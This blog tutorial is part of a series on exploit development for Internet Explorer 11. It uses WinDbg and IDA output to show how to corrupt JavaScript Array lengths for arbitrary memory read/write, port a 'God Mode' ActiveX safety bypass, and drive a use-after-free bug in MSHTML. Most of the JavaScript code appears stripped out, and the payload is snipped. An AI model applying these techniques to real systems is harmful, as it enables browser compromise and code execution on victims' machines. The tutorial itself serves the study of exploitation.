For this exploit I’m using a VirtualBox VM with Windows 7 64-bit SP1 and the version of Internet Explorer 11 downloaded from here:

http://filehippo.com/download_internet_explorer_windows_7_64/tech/

EmulateIE9

Finding a UAF bug for IE 11 for this chapter was very hard because security researchers tend to omit important technical details in their articles. As a student of exploit development I wish I had access to such information.

Anyway, the UAF bug I found needs the following line:

Unfortunately, when we’re emulating IE 9, Int32Arrays are not available, so the method we used for IE 10 (see article), although pretty general, is not applicable here. It’s time to look for another method!

Array

We saw how Arrays are laid out in memory in IE 10. Things are very similar in IE 11, but there’s an interesting difference. Let’s create an Array with the following simple code:

We saw that in IE 10 Arrays were created by calling jscript9!Js::JavascriptArray::NewInstance. Let’s put a breakpoint on it:

bp jscript9!Js::JavascriptArray::NewInstance

If we reload the page in IE 11 nothing happens. Let’s try with the constructor:

0:002> bc *
0:002> x jscript9!*javascriptarray::javascriptarray*
6f5c2480          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f5c7f42          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f4549ad          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f47e091          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
0:002> bm jscript9!*javascriptarray::javascriptarray*
  1: 6f5c2480          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  2: 6f5c7f42          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  3: 6f4549ad          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  4: 6f47e091          @!"jscript9!Js::JavascriptArray::JavascriptArray"

Here I got a weird error in WinDbg:

Breakpoint 1's offset expression evaluation failed.
Check for invalid symbols or bad syntax.
WaitForEvent failed
eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000
eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwUnmapViewOfSection+0x12:
7703fc92 83c404          add     esp,4

Let me know if you know why this happens. To avoid this error, you can set the 4 breakpoints by hand:

bp 6f5c2480
bp 6f5c7f42
bp 6f4549ad
bp 6f47e091

When we resume the execution and allow blocked content in IE, the second breakpoint is triggered and the stack trace is the following:

0:007> k 8
ChildEBP RetAddr  
0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray
0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13
0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112
0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a
0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81    <--------------------
0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0
0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c128 6d94ceab 0x4cd0fe9

Let’s delete all the breakpoints and put a breakpoint on JavascriptNativeIntArray::NewInstance:

0:007> bc *
0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance

Reload the page and when the breakpoint is triggered, press Shift+F11 to return from the call. EAX should now point to the JavascriptNativeIntArray object:

pic_56
It seems that the buffer for the Array has space for just 4 elements. Or maybe that 4 elements are the header for the buffer?  When the Array grows, a bigger buffer should be allocated and thus the pointer to the buffer in the Array object should change. So, let’s put a hardware breakpoint on the buf_addr field:

ba w4 @eax+14

When we resume the execution, the hardware breakpoint is triggered and the stack trace looks like this:

0:007> k 8
ChildEBP RetAddr  
0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32
0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d
0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187        <------------------------
0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c0c8 6da618a7 0x3a860a6
0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f
0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77
0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88

As we expected, the Array grows when elements are added through jscript9!Js::JavascriptNativeIntArray::SetItem. The new address of the buffer is 039e0010h. Now resume the execution, stop the execution again and have a look at the buffer at 039e0010h:

pic_57
As we can see, the integers 0x123 are written without any kind of encoding in the buffer. In IE 10 we would have had 0x247, i.e. 0x123*2 + 1. The only caveat is that the integers are signed. Let’s see what happens when we write to the Array a value bigger than the biggest positive integer number. Let’s spray the heap to find one of the buffers more easily:

In WinDbg, go to an address like 9000000h or use VMMap to determine a suitable address. This time you’ll see something familiar:

pic_58
This is the exact situation we had in IE 10: the numbers are encoded (2*N + 1) and first element, which should be the number 0x80000000, points to a JavascriptNumber object. Is there a way to write 0x80000000 directly? Yes: we need to find the negative number whose 2-complement representation is 0x80000000. This number is

-(0x100000000 - 0x80000000) = -0x80000000

Let’s try it:

As you can see, we get exactly what we wanted:

pic_59
We can conclude that in IE 11 an Array stores 32-bit signed integers directly without any particular encoding. As soon as something different than a 32-bit signed integer is written into the Array, all the integers are encoded as 2*N + 1 just as in IE 10. This means that as long as we’re careful, we can use a normal Array as an Int32Array. This is important because, as we said in the section EmulateIE9, Int32Arrays won’t be available.

Reading/Writing beyond the end

In IE 10 the length of an Array appears both in the Array object and in the header of the Array buffer. Let’s see if things have changed in IE 11. Let’s use the following code:

To determine the address of the Array, we can use the following breakpoint:

bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"

Here’s a picture of the Array object and its buffer:

pic_60
Let’s use this code:

We want to modify the Array length so that we can read and write beyond the real end of the Array. Let’s load the HTML page in IE and when the first alert message appears, go in WinDbg and overwrite the length field in the Array object with 0x20000000. When we close the alert box, a second alert box appears with the message undefined. This means that we couldn’t read beyond the end of the Array.

Now let’s try to modify the “Array actual length” field in the header of the Array buffer (from 7 to 0x20000000): same result.

Finally, modify the “Buffer length” field in the header of the Array buffer (from 0x3ff8 to 0x20000000): same result. But if we modify all the three length fields it works! Is it really necessary to modify all the three values by hand? An Array grow when we write at an index which is beyond the current length of the Array. If the buffer is too small, a big enough buffer is allocated. So what happens if we modify just the “Buffer length” field and then write at an index of the Array which is beyond the current length of the Array? If our logic doesn’t fail us, IE should grow the Array without touching the buffer because IE thinks that the buffer is big enough (but we know we faked its size). In other words, IE should update the other two length fields as a consequence of writing to the Array beyond the current end of the Array.

Let’s update our code:

We load the HTML page in IE and when the first alert box appears we modify the “Buffer length” field in the buffer header. Then we resume execution and close the alert box. IE might crash because we could overwrite something important after the end of the Array. In that case, repeat the whole process.

Now, when the second alert box appears, have another look at the Array object and at its buffer header:

pic_61
Perfect! Again, understand that if we hadn’t altered the “Buffer length” field of the buffer, a new buffer of length at least 0x40f9 would have been allocated, and we wouldn’t have got read/write access to memory beyond the end of the Array.

Whole address space read/write access

We want to acquire read/write access to the whole address space. To do so, we need to spray the heap with many Arrays, modify the “Buffer length” field in the buffer header of one Array, locate the modified Array and, finally, use it to modify all three length fields of another Array. We’ll use this second Array to read and write wherever we want.

Here’s the javascript code:

The header size for the buffer of an Array is 0x20 because there is a 0x10-byte heap allocation header and a 0x10-byte buffer header.

magic_addr is the address where the Array whose length we want to modify is located. Feel free to change that value.

To determine the index of the modified Array we consider each Array in order of allocation and try to modify the first element of the following Array. We can use a[i] to modify the first element of a[i+1] if and only if a[i] is the modified array and the buffer of a[i+1] is located right after the buffer of a[i] in memory. If a[i] is not the modified Array, its buffer will grow, i.e. a new buffer will be allocated. Note that if we determined that a[idx] is the modified Array, then it’s guaranteed that the buffer of a[idx+1] hasn’t been reallocated and is still located right after the buffer of a[idx].

Now we should be able to read/write in the address space [base_addr, 0xffffffff], but what about [0, base_addr]? That is, can we read/write before the buffer of a[idx+1]? Probably, IE assumes that the base addresses and the lengths of the Arrays are correct and so doesn’t check for overflows. Let’s say we want to read the dword at 0x400000. We know that base_addr is 0xc010000.

Let’s suppose that IE computes the address of the element to read as

base_addr + index*4 = 0xc010000 + index*4

without making sure that index*4 < 2^32 – base_addr. Then, we can determine the index to read the dword at 0x400000 as follows:

0xc010000 + index*4 = 0x400000 (mod 2^32)
index = (0x400000 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)
index = 0x3d0fc000 (mod 2^32)

The notation

a = b (mod N)

means

a = b + k*N for some integer k.

For instance,

12 = 5 (mod 7)

because

12 = 5 + 1*7

Working with 32 bits in presence of overflows is like working in mod 2^32. For instance,

-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb

because, in mod 2^32, 0 and 2^32 are equivalent (0 = 2^32 – 1*2^32).

To recap, if IE just checks that index < array_len (which is 0x3fffffff in our case) and doesn’t do any additional check on potential overflows, then we should be able to read and write in [0,0xffffffff]. Here’s the implementation of the functions read and write:

We’ve already noted that Array contains signed 32-bit integers. Since I prefer to work with unsigned 32-bit integers, I perform some conversions between signed and unsigned integers.

But we haven’t checked if all this works yet! Here’s the full code:

To check if everything works fine, follow the instructions. Try also to write a number >= 0x80000000 such as 0x87654321. Lucky for us, everything seems to be working just fine!

get_addr function

The get_addr function is very easy to write:

Note that we can’t assign obj to a[idx+1][0] because this would make IE crash. In fact, a[idx+1] would become a mix Array and IE would try to encode the dwords of the entire space address! We can’t use a[idx] for the same reason and we can’t use a[idx-1] or previous Arrays because their buffers were reallocated somewhere else (remember?). So, a[idx+2] seems like a good candidate.

God Mode

Now we need to port the God Mode from IE 10 to IE 11. Let’s start with the first few lines:

When the alert box pops up, examine the memory at the indicated address and you should have all the information to fix the code. Here’s the fixed code:

Now let’s analyze jscript9!ScriptSite::CreateActiveXObject, if still present. First of all, add this simple line of code:

Then, load the page in IE and add a breakpoint on jscript9!ScriptSite::CreateActiveXObject. When the breakpoint is triggered, step through the code until you reach a call to CreateObjectFromProgID:

04c05a81 e84a000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04c05ad0)

Step into it (F11) and then step until you reach CanCreateObject:

04c05b4c 8d45e8          lea     eax,[ebp-18h]
04c05b4f 50              push    eax
04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)

Step into it (F11) and step until you get to the virtual call:

04c05df0 8d55f8          lea     edx,[ebp-8]
04c05df3 6a00            push    0
04c05df5 6a00            push    0
04c05df7 6a10            push    10h
04c05df9 ff7508          push    dword ptr [ebp+8]
04c05dfc 8b08            mov     ecx,dword ptr [eax]
04c05dfe 6a04            push    4
04c05e00 52              push    edx
04c05e01 6800120000      push    1200h
04c05e06 50              push    eax
04c05e07 ff5110          call    dword ptr [ecx+10h]  ds:002b:702bcda8={MSHTML!TearoffThunk4 (6f686f2b)}  <---------------
04c05e0a 85c0            test    eax,eax
04c05e0c 7811            js      jscript9!ScriptEngine::CanCreateObject+0x5e (04c05e1f)
04c05e0e f645f80f        test    byte ptr [ebp-8],0Fh
04c05e12 6a00            push    0
04c05e14 58              pop     eax
04c05e15 0f94c0          sete    al
04c05e18 5e              pop     esi
04c05e19 8be5            mov     esp,ebp
04c05e1b 5d              pop     ebp
04c05e1c c20400          ret     4

In IE 10 we went to great lengths to return from CanCreateObject with a non null EAX and a null EDI. But as we can see, in IE 11 there is no pop edi. Does it mean that we can just call the function epilog (which doesn’t use leave anymore, by the way)?

Let’s gather some useful information:

0:007> ln ecx
(702bcd98)   MSHTML!s_apfnPlainTearoffVtable   |  (702bd4a0)   MSHTML!GLSLFunctionInfo::s_info
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> ? 702bcd98-mshtml
Evaluate expression: 15453592 = 00ebcd98
0:007> ? 04c05e19-jscript9
Evaluate expression: 1400345 = 00155e19

Now let’s step out of CanCreateObject (Shift+F11):

04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax      <----------------- we are here
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
04c05b5d 6a05            push    5
04c05b5f 58              pop     eax
04c05b60 85ff            test    edi,edi      <---------------- EDI must be 0
04c05b62 0f85fd351200    jne     jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)

It seems that EDI must still be 0, but the difference is that now CanCreateObject doesn’t use EDI anymore and so we don’t need to clear it before returning from CanCreateObject. This is great news!

Let’s change EAX so that we can reach CanObjectRun, if it still exists:

r eax=1

Let’s keep stepping until we get to CanObjectRun and then step into it. After a while, we’ll reach a familiar virtual call:

04c05d2c 53              push    ebx
04c05d2d 6a18            push    18h
04c05d2f 52              push    edx
04c05d30 8d55cc          lea     edx,[ebp-34h]
04c05d33 895de8          mov     dword ptr [ebp-18h],ebx
04c05d36 8b08            mov     ecx,dword ptr [eax]
04c05d38 52              push    edx
04c05d39 8d55c0          lea     edx,[ebp-40h]
04c05d3c 52              push    edx
04c05d3d 68845dc004      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04c05d84)
04c05d42 50              push    eax
04c05d43 ff5114          call    dword ptr [ecx+14h]  ds:002b:702bcdac={MSHTML!TearoffThunk5 (6f686efc)}  <---------------
04c05d46 85c0            test    eax,eax
04c05d48 0f889c341200    js      jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61add (04d291ea)
04c05d4e 8b45c0          mov     eax,dword ptr [ebp-40h]
04c05d51 6a03            push    3
04c05d53 5b              pop     ebx
04c05d54 85c0            test    eax,eax
04c05d56 740f            je      jscript9!ScriptEngine::CanObjectRun+0xaa (04c05d67)
04c05d58 837dcc04        cmp     dword ptr [ebp-34h],4
04c05d5c 7202            jb      jscript9!ScriptEngine::CanObjectRun+0xa3 (04c05d60)
04c05d5e 8b18            mov     ebx,dword ptr [eax]
04c05d60 50              push    eax
04c05d61 ff1518a0e704    call    dword ptr [jscript9!_imp__CoTaskMemFree (04e7a018)]
04c05d67 6a00            push    0
04c05d69 f6c30f          test    bl,0Fh
04c05d6c 58              pop     eax
04c05d6d 0f94c0          sete    al
04c05d70 8b4dfc          mov     ecx,dword ptr [ebp-4]
04c05d73 5f              pop     edi
04c05d74 5e              pop     esi
04c05d75 33cd            xor     ecx,ebp
04c05d77 5b              pop     ebx
04c05d78 e8b8b3eaff      call    jscript9!__security_check_cookie (04ab1135)
04c05d7d 8be5            mov     esp,ebp
04c05d7f 5d              pop     ebp
04c05d80 c20800          ret     8

If we call the epilog of the function like before, we’ll skip the call to jscript9!_imp__CoTaskMemFree, but that shouldn’t be a problem. ECX points to the same vftable referred to in CanCreateObject. Let’s compute the RVA of the epilog of CanObjectRun:

0:007> ? 04c05d7d-jscript9
Evaluate expression: 1400189 = 00155d7d

Now we’re ready to write the javascript code. Here’s the full code:

I snipped runcalc. You can download the full code from here: code5.

Try the code and it should work just fine!

The UAF bug

We’ll be using a UAF bug I found here:

https://withgit.com/hdarwin89/codeengn-2014-ie-1day-case-study/tree/master

Here’s the POC:

Enable the flags HPA and UST for iexplore.exe in gflags:

pic_50
When we open the page in IE, IE will crash here:

MSHTML!CMarkup::IsConnectedToPrimaryMarkup:
0aa9a244 8b81a4000000    mov     eax,dword ptr [ecx+0A4h] ds:002b:12588c7c=????????   <------------ crash!
0aa9a24a 56              push    esi
0aa9a24b 85c0            test    eax,eax
0aa9a24d 0f848aaa0800    je      MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x77 (0ab24cdd)
0aa9a253 8b400c          mov     eax,dword ptr [eax+0Ch]
0aa9a256 85c0            test    eax,eax

The freed object is pointed to by ECX. Let’s determine the size of the object:

0:007> ? 1000 - (@ecx & fff)
Evaluate expression: 1064 = 00000428

So the object is 0x428 bytes.

Here’s the stack trace:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

Now we need to develop a breakpoint which breaks exactly at the point of crash. This is necessary for when we remove the flag HPA and ECX points to a string of our choosing.

Let’s start by putting the following breakpoint right before we allow blocked content in IE:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

The breakpoint will be triggered many times before the crash. Moreover, if we click on the page in IE, the breakpoint will be triggered some more times. It’s better to put an initial breakpoint on a parent call which is called only after we allow blocked content in IE. The following breakpoint seems perfect:

bp MSHTML!CBase::put_BoolHelper

When the breakpoint is triggered, set also the following breakpoint:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

This last breakpoint is triggered 3 times before we reach the point (and time) of crash. So, from now on we can use the following standalone breakpoint:

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

If you try it, you’ll see that it works perfectly!

Now we can finally try to make ECX point to our string. But before proceeding, disable the two flags HPA and UST:

pic_51
Here’s the modified javascript code:

Remember to set the following breakpoint:

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

When the breakpoint is triggered, you should see something similar to this:

pic_62The UAF bug (2)

We will need to analyze the bug in IDA.

This time I won’t show you how I determined the content of the string step by step because it’d be a very tedious exposition and you wouldn’t learn anything useful. First I’ll show you the relevant graphs so that you can follow along even without IDA, and then I’ll show you the complete “schema” used to exploit the UAF bug and modify the length of the chosen Array.

Open mshtml in IDA then press Ctrl+P (Jump to function), click on Search and enter CMarkup::IsConnectedToPrimaryMarkup. Double click on the function and you’ll see the crash point:

pic_63
The nodes with the colored background are the only nodes whose code we execute. The pink nodes contain the crash, whereas the celeste (light blue) nodes contain the overwriting instruction we’ll use to modify the length of the chosen Array.

Click on the signature of IsConnectedToPrimaryMarkup, press Ctrl+X and select CMarkup::OnCssChange (see again the stack trace above if you need to). Here’s the graph of OnCssChange:

pic_64
Here’s the graph of CMarkup::IsPendingPrimaryMarkup:

pic_65
Next is the graph of CMarkup::Root:

pic_66
Here’s the graph of CElement::EnsureFormatCacheChange:

pic_67
And, finally, this is the graph of CView::AddInvalidationTask, the function which contains the overwriting instruction (inc):

pic_68
Here’s the schema I devised:

Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0
            [Y+630h+248h] = [Y+878h] val to inc!      <======
            [Y+630h+380h] = [Y+9b0h] has bit 16 set
            [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
            [Y+1044h] is 0
U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
            [W+0ah] has bit 1 set & bit 4 unset
            [W+44h] has bit 7 set
            [W+5ch] is writable
[ptr+198h] has bit 12 set

Let’s consider the first two lines:

X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0

The term ptr is the dangling pointer (which should point to our string). The two lines above means [Y+208h] must be 0, where Y is the value at X+0ch, where X is the value at ptr+0a4h.

Deducing such a schema can be time consuming and a little bit of trial and error may be necessary. The goal is to come up with a schema that results in an execution path which reaches the overwriting instruction and then resume the execution of the javascript code without any crashes.

It’s a good idea to start by identifying the must-nodes (in IDA), i.e. the nodes that must belong to the execution path. Then you can determine the conditions that must be met to make sure that those nodes belong to the execution path. Once you’ve done that, you start exploring the graph and see what are the suitable sub-paths for connecting the must-nodes.

You should check that the schema above is correct by looking at the graphs and following the execution path.

Next Part

The following two tabs change content below.

Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of computer security (+ piano player & music composer)

Latest posts by Massimiliano Tomassoli (see all)

Leave a Reply

1 Comment on "IE11: Part 1"

Notify of

Sort by:   newest | oldest | most voted
Guest
1 year 10 months ago

Very good tutorial! Keep writing man!

wpDiscuz